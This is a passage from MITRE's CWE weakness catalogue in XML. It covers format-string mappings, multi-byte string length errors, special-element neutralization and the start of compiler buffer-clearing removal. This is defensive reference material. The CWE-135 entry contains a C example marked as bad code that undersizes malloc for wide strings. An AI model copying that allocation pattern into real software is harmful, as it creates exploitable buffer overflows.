				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Format string problem</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Exclude user input from format strings</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO30-C</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Exclude user input from format strings</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Format String </Mapped_Node_Name>
					          <Mapped_Node_ID>6</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Exclude user input from format strings</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Exclude user input from format strings</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input</Text>
						            <Text>2. end statement that passes a format string to format string function
							where</Text>
						            <Block>
							              <Text>a. the input data is part of the format string and</Text>
							              <Text>b. the format string is undesirable</Text>
						            </Block>
					          </Block>
					          <Text>Where "undesirable" is defined through the following scenarios:</Text>
					          <Block>
						            <Text>1. not validated</Text>
						            <Text>2. incorrectly validated</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>135</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes,
						Research_Gaps, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="135" Name="Incorrect Calculation of Multi-Byte String Length" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not correctly calculate the length of strings
					that can contain wide or multi-byte characters.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>133</Relationship_Target_ID>
					          <!--String Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>There are several ways in which improper string length checking may result
						in an exploitable condition. All of these, however, involve the introduction
						of buffer overflow conditions in order to reach an exploitable state. The
						first of these issues takes place when the output of a wide or multi-byte
						character string, string-length function is used as a size for the
						allocation of memory. While this will result in an output of the number of
						characters in the string, note that the characters are most likely not a
						single byte, as they are with standard character strings. So, using the size
						returned as the size sent to new or malloc and copying the string to this
						newly allocated memory will result in a buffer overflow. Another common way
						these strings are misused involves the mixing of standard string and wide or
						multi-byte string functions on a single string. Invariably, this mismatched
						information will result in the creation of a possibly exploitable buffer
						overflow condition. Again, if a language subject to these flaws must be
						used, the most effective mitigation technique is to pay careful attention to
						the code at implementation time and ensure that these flaws do not
						occur.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness may lead to a buffer overflow. Buffer overflows often
							can be used to execute arbitrary code, which is usually outside the
							scope of a program's implicit security policy. This can often be used to
							subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Out of bounds memory access will very likely result in the corruption
							of relevant memory, and perhaps instructions, possibly leading to a
							crash. Other attacks leading to lack of availability are possible,
							including putting the program into an infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In the case of an out-of-bounds read, the attacker may have access to
							sensitive information. If the sensitive information contains system
							details, such as the current buffers position in memory, this knowledge
							can be used to craft further attacks, possibly with more severe
							consequences.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Always verify the length of the string unit character.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use length computing functions (e.g. strlen, wcslen, etc.)
							appropriately with their equivalent type (e.g.: byte, wchar_t,
							etc.)</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example would be exploitable if any of the commented
						incorrect malloc calls were used.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;strings.h&gt;</Code>
							              <Code>#include &lt;wchar.h&gt;</Code>
							              <Code/>
							              <Code>int main() {</Code>
							              <Block Block_Nature="Bad_Code">
								                <Code/>
								                <Code>wchar_t wideString[] = L"The spazzy orange tiger jumped "
									\</Code>
								                <Code>"over the tawny jaguar.";</Code>
								                <Code>wchar_t *newString;</Code>
								                <Code/>
								                <Code>printf("Strlen() output: %d\nWcslen() output: %d\n",</Code>
								                <Code>strlen(wideString), wcslen(wideString));</Code>
								                <Code/>
								                <Code>/* Wrong because the number of chars in a string isn't related
									to its length in bytes //</Code>
								                <Code>newString = (wchar_t *) malloc(strlen(wideString));</Code>
								                <Code>*/</Code>
								                <Code/>
								                <Code>/* Wrong because wide characters aren't 1 byte long! //</Code>
								                <Code>newString = (wchar_t *) malloc(wcslen(wideString));</Code>
								                <Code>*/</Code>
								                <Code/>
								                <Code>/* Wrong because wcslen does not include the terminating null
									*/</Code>
								                <Code>newString = (wchar_t *) malloc(wcslen(wideString) *
									sizeof(wchar_t));</Code>
								                <Code/>
								                <Code>/* correct! */</Code>
								                <Code>newString = (wchar_t *) malloc((wcslen(wideString) + 1) *
									sizeof(wchar_t));</Code>
								                <Code/>
								                <Code>/* ... */</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The output from the printf() statement would be:</Text>
						            <Block Block_Nature="Result">
							              <Code>Strlen() output: 0 </Code>
							              <Code>Wcslen() output: 53</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Unicode and ANSI Buffer Size Mismatches" Page
						153</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Improper string length checking</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Size wide character strings correctly</Mapped_Node_Name>
					          <Mapped_Node_ID>STR33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure the array is filled when using read() to fill an
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Feedback">
					          <Contributor>Gregory Padgett</Contributor>
					          <Contribution_Organization>Unitrends</Contribution_Organization>
					          <Contribution_Date>2010-01-11</Contribution_Date>
					          <Contribution_Comment>correction to Demonstrative_Example</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improper String Length
						Checking</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="138" Name="Improper Neutralization of Special Elements" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as control elements or syntactic markers when they are sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>Most languages and protocols have their own special elements such as
						characters and reserved words. These special elements can carry control
						implications. If software does not prevent external control or influence
						over the inclusion of such special elements, the control flow of the program
						may be altered from what was intended. For example, both Unix and Windows
						interpret the symbol &lt; ("less than") as meaning "read input from a
						file".</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>137</Relationship_Target_ID>
					          <!--Representation Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness can be related to interpretation conflicts or interaction
						errors in intermediaries (such as proxies or application firewalls) when the
						intermediary's model of an endpoint does not account for protocol-specific
						special elements.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>See this entry's children for different types of special elements that
						have been observed at one point or another. However, it can be difficult to
						find suitable CVE examples. In an attempt to be complete, CWE includes some
						types that do not have any associated observed example.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that special elements (e.g. delimiters,
							symbols) will be injected into input vectors of their software system.
							One defense is to create a white list (e.g. a regular expression) that
							defines valid input according to the requirements specifications.
							Strictly filter any input that does not match against the white list.
							Properly encode your output, and quote any elements that have special
							meaning to the component with which you are communicating.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use and specify an appropriate output encoding to ensure that the
							special elements are well-defined. A normal byte sequence in one
							encoding could be a special element in another.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0677</Observed_Example_Reference>
					          <Observed_Example_Description>Read arbitrary files from mail client by providing
						a special MIME header that is internally used to store pathnames for
						attachments.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0703</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid program does not cleanse special escape
						sequence before sending data to a mail program, causing the mail program to
						process those sequences.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0020</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-channel issue. Terminal escape sequences not
						filtered from log files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0083</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-channel issue. Terminal escape sequences not
						filtered from log files.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This weakness is probably under-studied for proprietary or custom formats.
						It is likely that these issues are fairly common in applications that use
						their own custom format for configuration files, logs, meta-data, messaging,
						etc. They would only be found by accident or with a focused effort based on
						an understanding of the format.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Special Elements (Characters or Reserved
						Words)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Custom Special Character Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Description, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes,
						Relationships, Research_Gaps, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Special Elements (Characters
						or Reserved Words)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Special
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Special Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="14" Name="Compiler Removal of Code to Clear Buffers" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Sensitive memory is cleared according to the source code, but
					compiler optimizations leave the memory untouched when it is not read from
					again, aka "dead store removal."</Description_Summary>
				        <Extended_Description>
					          <Text>This compiler optimization error occurs when:</Text>
					          <Block>
						            <Text>1. Secret data are stored in memory.</Text>
						            <Text>2. The secret data are scrubbed from memory by overwriting its
							contents.</Text>
						            <Text>3. The source code is compiled using an optimizing compiler, which
